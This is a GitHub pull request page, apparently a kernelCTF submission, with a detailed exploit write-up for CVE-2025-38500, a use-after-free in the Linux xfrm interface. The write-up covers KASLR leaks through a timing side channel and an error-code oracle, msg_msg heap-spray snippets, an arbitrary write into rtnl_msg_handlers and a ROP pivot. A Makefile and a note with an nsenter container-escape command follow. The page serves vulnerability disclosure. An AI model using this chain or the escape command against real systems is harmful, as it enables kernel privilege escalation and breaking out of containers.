Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
72 commits
Select commit Hold shift + click to select a range
d274703
Add kernelCTF CVE-2025-38500_lts_cos_mitigation
conlonial77 Oct 7, 2025
8e3350c
Fix metadata
conlonial77 Oct 7, 2025
ed45ebd
Fix metadata
conlonial77 Oct 7, 2025
c818b74
Fix metadata
conlonial77 Oct 7, 2025
87d37f7
Fix metadata
conlonial77 Oct 7, 2025
572e54a
Fix Makefile
conlonial77 Oct 7, 2025
bb4b960
Fix leak
conlonial77 Oct 7, 2025
561082a
Fix leak
conlonial77 Oct 7, 2025
678f9cc
Fix leak
conlonial77 Oct 7, 2025
0e7b18b
Fix leak
conlonial77 Oct 7, 2025
1af5790
fix leak
conlonial77 Oct 7, 2025
26f2119
Fix leak
conlonial77 Oct 7, 2025
6bbce97
Fix leak
conlonial77 Oct 7, 2025
e4b5b5e
fix leak
conlonial77 Oct 7, 2025
1f3fa18
fix leak
conlonial77 Oct 7, 2025
b625fcc
fix leak
conlonial77 Oct 7, 2025
4705420
fix leak
conlonial77 Oct 7, 2025
2828434
Fix leak
conlonial77 Oct 8, 2025
b919c01
Fix leak
conlonial77 Oct 8, 2025
9a49042
Fix leak
conlonial77 Oct 8, 2025
ef5dd38
Fix leak
conlonial77 Oct 8, 2025
6adb7b2
Fix leak
conlonial77 Oct 8, 2025
7e5ba20
Fix leak
conlonial77 Oct 8, 2025
4e08dff
Fix leak
conlonial77 Oct 8, 2025
de826c7
Fix leak
conlonial77 Oct 8, 2025
0233ccc
Fix leak
conlonial77 Oct 8, 2025
dea3eff
Fix leak
conlonial77 Oct 8, 2025
fb2a7d6
Fix leak
conlonial77 Oct 8, 2025
fcd9b42
Fix comments
conlonial77 Mar 7, 2026
baea71f
Fix comments
conlonial77 Mar 7, 2026
637d028
Fix comments
conlonial77 Mar 7, 2026
c327dd0
Fix comments
conlonial77 Mar 7, 2026
9f59c2e
Fix comments
conlonial77 Mar 7, 2026
7e1d263
Fix comments
conlonial77 Mar 7, 2026
ca61d60
Fix comments
conlonial77 Mar 7, 2026
22e2f91
Fix comments
conlonial77 Mar 7, 2026
5bc6275
Fix comments
conlonial77 Mar 7, 2026
2e10cc4
Fix comments
conlonial77 Mar 7, 2026
f0e7e80
Fix comments
conlonial77 Mar 7, 2026
7713284
Fix comments
conlonial77 Mar 7, 2026
903644f
Fix comments
conlonial77 Mar 7, 2026
b4cfc38
Fix comments
conlonial77 Mar 7, 2026
0b00dd6
Fix comments
conlonial77 Mar 7, 2026
410cc15
Fix comments
conlonial77 Mar 7, 2026
733a8ae
Fix comments
conlonial77 Mar 7, 2026
c34b68b
Fix comments
conlonial77 Mar 7, 2026
2fdb0d7
Fix comments
conlonial77 Mar 7, 2026
a052841
Fix comments
conlonial77 Mar 7, 2026
30b3840
Fix comments
conlonial77 Mar 7, 2026
43056b1
Fix comments
conlonial77 Mar 7, 2026
3677605
Fix comments
conlonial77 Mar 7, 2026
f2de971
Fix comments
conlonial77 Mar 7, 2026
3ec9d6e
Fix comments
conlonial77 Mar 7, 2026
ecc06a7
Fix comments
conlonial77 Mar 7, 2026
7157749
Fix comments
conlonial77 Mar 7, 2026
b663339
Fix comments
conlonial77 Mar 7, 2026
e91a50c
Fix comments
conlonial77 Mar 7, 2026
26c454d
Fix comments
conlonial77 Mar 7, 2026
9228712
Fix comments
conlonial77 Mar 7, 2026
cf97c8a
Fix comments
conlonial77 Mar 7, 2026
9b6311b
Fix comments
conlonial77 Mar 7, 2026
e5a1b32
Fix comments
conlonial77 Mar 7, 2026
b56b9fd
Fix comments
conlonial77 Mar 7, 2026
109fc51
Fix comments
conlonial77 Mar 7, 2026
afe83f4
Fix comments
conlonial77 Mar 7, 2026
ab471e5
Fix comments
conlonial77 Mar 7, 2026
af088f3
Fix comments
conlonial77 Mar 7, 2026
d53e552
Fix comments
conlonial77 Mar 7, 2026
a97c130
Fix comments
conlonial77 Mar 7, 2026
0332215
Fix comments
conlonial77 Mar 7, 2026
8a7156d
Fix comments
conlonial77 Mar 7, 2026
fa0f953
Fix comments
conlonial Mar 10, 2026
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
302 changes: 302 additions & 0 deletions pocs/linux/kernelctf/CVE-2025-38500_lts_cos_mitigation/docs/exploit.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,302 @@
# Exploit detail about CVE-2025-38500
If you want to get some base information about CVE-2025-38500, please read [vulnerability.md](./vulnerability.md) first.


## Cause anaylysis
In the function `xfrmi_changelink`, it uses `xfrmi_unlink` and `xfrmi_link` to change the linked list of a struct `xfrm_if`:
```
static int xfrmi_changelink(struct net_device *dev, struct nlattr *tb[],
struct nlattr *data[],
struct netlink_ext_ack *extack)
{
struct xfrm_if *xi = netdev_priv(dev);
struct net *net = xi->net;
struct xfrm_if_parms p = {};
xfrmi_netlink_parms(data, &p);
if (!p.if_id) {
...
}
if (p.collect_md) {
...
}
xi = xfrmi_locate(net, &p);
if (!xi) {
xi = netdev_priv(dev); // ( 1 )
} else {
...
}
return xfrmi_update(xi, &p);
}
static int xfrmi_update(struct xfrm_if *xi, struct xfrm_if_parms *p)
{
struct net *net = xi->net;
struct xfrmi_net *xfrmn = net_generic(net, xfrmi_net_id);
int err;
xfrmi_unlink(xfrmn, xi);
synchronize_net();
err = xfrmi_change(xi, p);
xfrmi_link(xfrmn, xi);
netdev_state_change(xi->dev);
return err;
}
```
The code does not consider that the obtained `struct xfrm_if *` may also be obtained from position (1), which means that the obtained `struct xfrm_if *` may be saved in `struct xfrmi_net->collect_md_xfrmi`, resulting UAF.

## How to trigger

It's easy to trigger it by following steps:

1. Create a xfrm link with `IFLA_XFRM_COLLECT_METADATA`.
2. Change the xfrm link with `IFLA_XFRM_IF_ID`.
3. Delete the xfrm link.


## Exploit

### Leak
Although this vulnerability can directly cause UAF, it is difficult to directly leak memory through this vulnerability itself (especially in the kctf mitigation environment) because we cannot directly dump the related memory.

After studying the xfrm code, I found an interesting piece of code in `xfrmi_changelink`:

```
static int xfrmi_changelink(struct net_device *dev, struct nlattr *tb[],
struct nlattr *data[],
struct netlink_ext_ack *extack)
{
...
xi = xfrmi_locate(net, &p);
if (!xi) {
xi = netdev_priv(dev);
} else {
if (xi->dev != dev)
return -EEXIST;
if (xi->p.collect_md) {
NL_SET_ERR_MSG(extack,
"device can't be changed to collect_md");
return -EINVAL;
}
}
...
}
```
When checking `struct xfrm_if *` here, there are two possible return values: `-EEXIST` and `-EINVAL`. The condition for returning `-EEXIST` is `xi->dev != dev`. This means that when we can fill a `struct xfrm_if`, we can confirm whether the filled `xi->dev` pointer satisfies `xi->dev != dev` by the change in the return value.

Relying solely on this method to brute force the address would take a long time. Therefore, I also used the [prefetch timing side channel](https://github.com/IAIK/prefetch/blob/master/cacheutils.h) to leak information. The steps are as follows:

1. Use prefetch timing side channel to leak kernel .text KASLR.
2. Use prefetch timing side channel to leak kernel direct mapping memory KASLR. The `struct net_device` applied for will be located in this area.
3. Use the above method to leak the specific address of a struct net_device.


### Control RIP

After we can perform a UAF on `struct xfrm_if`, we can fill the content to any address by filling it with the logic of `xfrmi_update`:

```
static int xfrmi_update(struct xfrm_if *xi, struct xfrm_if_parms *p)
{
struct net *net = xi->net;
struct xfrmi_net *xfrmn = net_generic(net, xfrmi_net_id); //(1)
int err;
xfrmi_unlink(xfrmn, xi);
synchronize_net();
err = xfrmi_change(xi, p);
xfrmi_link(xfrmn, xi); //(2)
netdev_state_change(xi->dev);
return err;
}
static inline void *net_generic(const struct net *net, unsigned int id)
{
struct net_generic *ng;
void *ptr;
rcu_read_lock();
ng = rcu_dereference(net->gen);
ptr = ng->ptr[id];
rcu_read_unlock();
return ptr;
}
static void xfrmi_link(struct xfrmi_net *xfrmn, struct xfrm_if *xi)
{
struct xfrm_if __rcu **xip = &xfrmn->xfrmi[xfrmi_hash(xi->p.if_id)];
rcu_assign_pointer(xi->next , rtnl_dereference(*xip));
rcu_assign_pointer(*xip, xi); (3)
}
```
It can be found that from (1) obtaining `xfrmn` to writing the `xi` pointer to `&xfrmn->xfrmi[xfrmi_hash(xi->p.if_id)](3)` in `xfrmi_link`, we only need to forge the value of `xi->net` to finally write the `xi` pointer to an arbitrary address. I chose to modify the pointer in `rtnl_msg_handlers`. This pointer will be called in the `rtnetlink_rcv_msg`:

```
static int rtnetlink_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh,
struct netlink_ext_ack *extack)
{
...
link = rtnl_get_link(family, type);
if (link && link->doit)
err = link->doit(skb, nlh, extack);
...
}
static struct rtnl_link *rtnl_get_link(int protocol, int msgtype)
{
struct rtnl_link __rcu **tab;
if (protocol >= ARRAY_SIZE(rtnl_msg_handlers))
protocol = PF_UNSPEC;
tab = rcu_dereference_rtnl(rtnl_msg_handlers[protocol]);
if (!tab)
tab = rcu_dereference_rtnl(rtnl_msg_handlers[PF_UNSPEC]);
return rcu_dereference_rtnl(tab[msgtype]);
}
static struct rtnl_link __rcu *__rcu *rtnl_msg_handlers[RTNL_FAMILY_MAX + 1];
```

### Summary of steps

For LTS&COS and mitigation, the overall idea is the same, but the specific steps are slightly different

#### LTS&COS
Here's the detail steps:

1. Leak kernel .text KASLR and direct mapping memory KASLR.
2. Create xfrm link `test1` to trigger the vulnerability. Create xfrm link `test2`, `test3`, `test4` for memory forging different structures.
3. Delete xfrm link `test1`.
4. Use the method mentioned in `Leak` to leak the address of `test2`'s `struct net_device`, `test3`'s `struct net_device`, and `test4`'s `struct net_device`. The specific approach is to first forge the released `test1` struct `xfrm_if` by heap spraying, and then call `xfrmi_changelink` on the three xfrm links `test2`, `test3`, and `test4` respectively:

```
static int xfrmi_changelink(struct net_device *dev, struct nlattr *tb[],
struct nlattr *data[],
struct netlink_ext_ack *extack)
{
...
xi = xfrmi_locate(net, &p);//(1)
if (!xi) {
xi = netdev_priv(dev);
} else {
if (xi->dev != dev)//(2)
return -EEXIST;
if (xi->p.collect_md) {
NL_SET_ERR_MSG(extack,
"device can't be changed to collect_md");
return -EINVAL;
}
}
...
}
```
Assuming we call `xfrmi_changelink` on `test2`, we can retrieve the repopulated `test1` at position (1), so we can compare the fake `test1->dev` and test2's `struct net_device` value at position (2).

5. Delete `test3` and pad it by heap spray. The memory of `test3` will be treated as a fake `struct xfrmi_net` in step xxx. Here is the key heap spray code:
```
delete_xfrm_link(socket, "test3"); *(uint64_t *)&message[NETDEV_PRIV-SIZEOF_MGS_MGS+OFFSET_XFRM_IF_DEV] = address_of_test3_dev + NETDEV_PRIV - 8*XFRMI_NET_ID_VALUE; // xfrm_if->dev, will be treated as struct net_generic.
*(uint64_t *)&message[NETDEV_PRIV-SIZEOF_MGS_MGS+OFFSET_XFRM_IF_NET] = ADDR_OF_RTNL_MSG_HANDLERS + kernel_off + 8 - HASH_OF_TEST1_ID * 8; //xfrm_if->net (fake), will be treated as struct xfrm_if *; it means we want to overwrite (char *)&rtnl_msg_handlers+8
```
6. Free the heap which used to pad the memory of `test1`, and re-pad it:
```
memset(message, 0x41, MSG_SIZE);
*(uint64_t *)&message[NETDEV_PRIV-SIZEOF_MSG_MSG+OFFSET_XFRM_IF_DEV] = address_of_test2_dev; // xfrm_if->dev, pass the check of if (xi->dev != dev)
*(uint64_t *)&message[NETDEV_PRIV-SIZEOF_MSG_MSG+OFFSET_XFRM_IF_NET] = address_of_test3_dev + NETDEV_PRIV + OFFSET_XFRM_IF_DEV - OFFSET_NET_GEN; //fake xi->net, point to the heap of test3 which we pad before in step 3.
*(uint64_t *)&message[NETDEV_PRIV-SIZEOF_MSG_MSG+OFFSET_XFRM_IF_P_LINKID_AND_P_IFID] = 0x1000000000; //xfrm_if->p.link = 0 and xfrm_if->p.if_id = 1
*(uint64_t *)&message[NETDEV_PRIV-SIZEOF_MSG_MSG+OFFSET_XFRM_IF_P_COLLECT_MD] = 0;//xfrm_if->p.collect_md
```
7. call `xfrmi_changelink` for `test2` with the ID is `TEST1_ID`. Let's see what happens. Because we use `TEST1_ID`, we will get back the pointer of `test1` at (1). Since we successfully forged `test1->dev = test2's struct net_device` in step 6, we can bypass the check in (2) and successfully enter the function `xfrmi_update`. The pointer to `xi->net` obtained at (3) is the `address_of_test3_dev + NETDEV_PRIV - OFFSET_NET_GEN` we forged in step 6. In this way, the `xfrmn` obtained at (4) will point to the `ADDR_OF_RTNL_MSG_HANDLERS + kernel_off + 8 - HASH_OF_TEST1_ID * 8` we filled in step 5. Finally, at position 5, we will modify `&rtnl_msg_handlers[1]`
```
static int xfrmi_changelink(struct net_device *dev, struct nlattr *tb[],
struct nlattr *data[],
struct netlink_ext_ack *extack)
{
...
xi = xfrmi_locate(net, &p); //(1)
if (!xi) {
xi = netdev_priv(dev);
} else {
if (xi->dev != dev) //(2)
return -EEXIST;
}
...
return xfrmi_update(xi, &p);
}
static int xfrmi_update(struct xfrm_if *xi, struct xfrm_if_parms *p)
{
struct net *net = xi->net; //(3)
struct xfrmi_net *xfrmn = net_generic(net, xfrmi_net_id); //(4)
...
xfrmi_link(xfrmn, xi);
...
}
static void xfrmi_link(struct xfrmi_net *xfrmn, struct xfrm_if *xi)
{
struct xfrm_if __rcu **xip = &xfrmn->xfrmi[xfrmi_hash(xi->p.if_id)];
rcu_assign_pointer(xi->next , rtnl_dereference(*xip));
rcu_assign_pointer(*xip, xi); //(5)
}
```
So based on the method in `Crontrol RIP`, it finally overwrite rtnl_msg_handlers[1] = struct net_device of test1 + NETDEV_PRIV

8. Now rtnl_msg_handlers[1] = struct net_device of test1 + NETDEV_PRIV, we only need to forge a legitimate rtnl_msg_handlers[1] to hijack the control flow:

First, free the memory used to fill the `test1` heap with heap spray in step 6. Then re-pad it:
```
//Heap spray to re-pad it.
memset(message, 0x41, MSG_SIZE);
*(uint64_t *)&message[NETDEV_PRIV-SIZEOF_MGS_MGS+OFFSET_XFRM_IF_DEV] = address_of_test3_dev + NETDEV_PRIV; //xi->dev, will be threated as rtnl_msg_handlers[1][1]
*(uint64_t *)&message[NETDEV_PRIV-SIZEOF_MGS_MGS+OFFSET_XFRM_IF_P_LINKID_AND_P_IFID] = 0x1000000000; //xfrm_if->p.link = 0 and xfrm_if->p.if_id = 1
*(uint64_t *)&message[NETDEV_PRIV-SIZEOF_MGS_MGS+OFFSET_XFRM_IF_P_COLLECT_MD] = 1;//xfrm_if->p.collect_md
```
Next, free the memory used to fill the `test3` heap with heap spray in step 5. Then re-pad it:
```
memset(message, 0, MSG_SIZE);
*(uint64_t *)&message[NETDEV_PRIV-SIZEOF_MGS_MGS+OFFSET_XFRM_IF_DEV] = FIRST_GADGET + kernel_off ; // xfrm_if->dev, will be treated as struct rtnl_link->doit leave ; pop rbx ; pop rbp ; mov eax, ecx ; pop r12 ; pop r13 ; ret
```

9. Finally, call rtnl_msg_handlers[1][1]->do_it and jump to ROP.

#### Mitigation
The only difference between miigrate target and lts&cos is how to fill the released `struct net_device` with heap spray. Due to the special nature of migrate, we cannot use msg_msg to fill it. I found another structure similar to `struct xfrm_if`, `struct vlan_dev_priv`:

```
struct vlan_dev_priv {
unsigned int nr_ingress_mappings;
u32 ingress_priority_map[8];
unsigned int nr_egress_mappings;
struct vlan_priority_tci_mapping *egress_priority_map[16];
__be16 vlan_proto;
u16 vlan_id;
u16 flags;
struct net_device *real_dev;
netdevice_tracker dev_tracker;
unsigned char real_dev_addr[ETH_ALEN];
struct proc_dir_entry *dent;
struct vlan_pcpu_stats __percpu *vlan_pcpu_stats;
#ifdef CONFIG_NET_POLL_CONTROLLER
struct netpoll *netpoll;
#endif
};
```

We can use `vlan_changelink` and `vlan_newlink` to spray and modify the memory of `struct xfrm_if`.


Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
# Vulneribility
In the function `xfrmi_changelink`, when using `xfrmi_unlink` and `xfrmi_link` to change the linked list of a struct `xfrm_if`, the pointer that may be left in `xfrmn->collect_md_xfrmi` is not cleared

## Requirements to trigger the vulnerability
- Kernel configuration: `CONFIG_XFRM ` and `CONFIG_XFRM_INTERFACE`
- Are user namespaces needed?: Yes

## Commit which introduced the vulnerability
- [commit abc340b38ba25cd6c7aa2c0bd9150d30738c82d0](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/net/xfrm/xfrm_interface.c?id=abc340b38ba25cd6c7aa2c0bd9150d30738c82d0)

## Commit which fixed the vulnerability
- [commit bfebdb85496e1da21d3cf05de099210915c3e706](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=bfebdb85496e1da21d3cf05de099210915c3e706))

## Affected kernel versions
- 6.6-rc1 and later
- 6.1-rc1 and later

## Affected component, subsystem
- xfrm

## Cause
- Use after free
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
.PHONY: clean


all: exploit

prerequisites:
sudo apt-get install libnl-nf-3-dev

exploit: exploit.c
# the nl protocol library suite contains multiple libs
# we want "libnl" (core) and "libnl-gnl" (generic netlink extension)
# "-3" is the version (latest 3.x)

# to get -I and -l: execute '$(pkg-config --cflags --libs libnl-genl-3.0)'
gcc -o $@ $+ -I/usr/include/libnl3 -lnl-nf-3 -lnl-route-3 -lnl-3 -static

real_exploit: exploit.c
gcc -o $@ $+ -DKASLR_BYPASS_INTEL=1 -I/usr/include/libnl3 -lnl-nf-3 -lnl-route-3 -lnl-3 -static

clean:
rm -rf exploit
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
Exploit for kctf cos-109-17800.519.40
Run command "nsenter --target 1 -m -p" after run the poc.
Binary file not shown.
Loading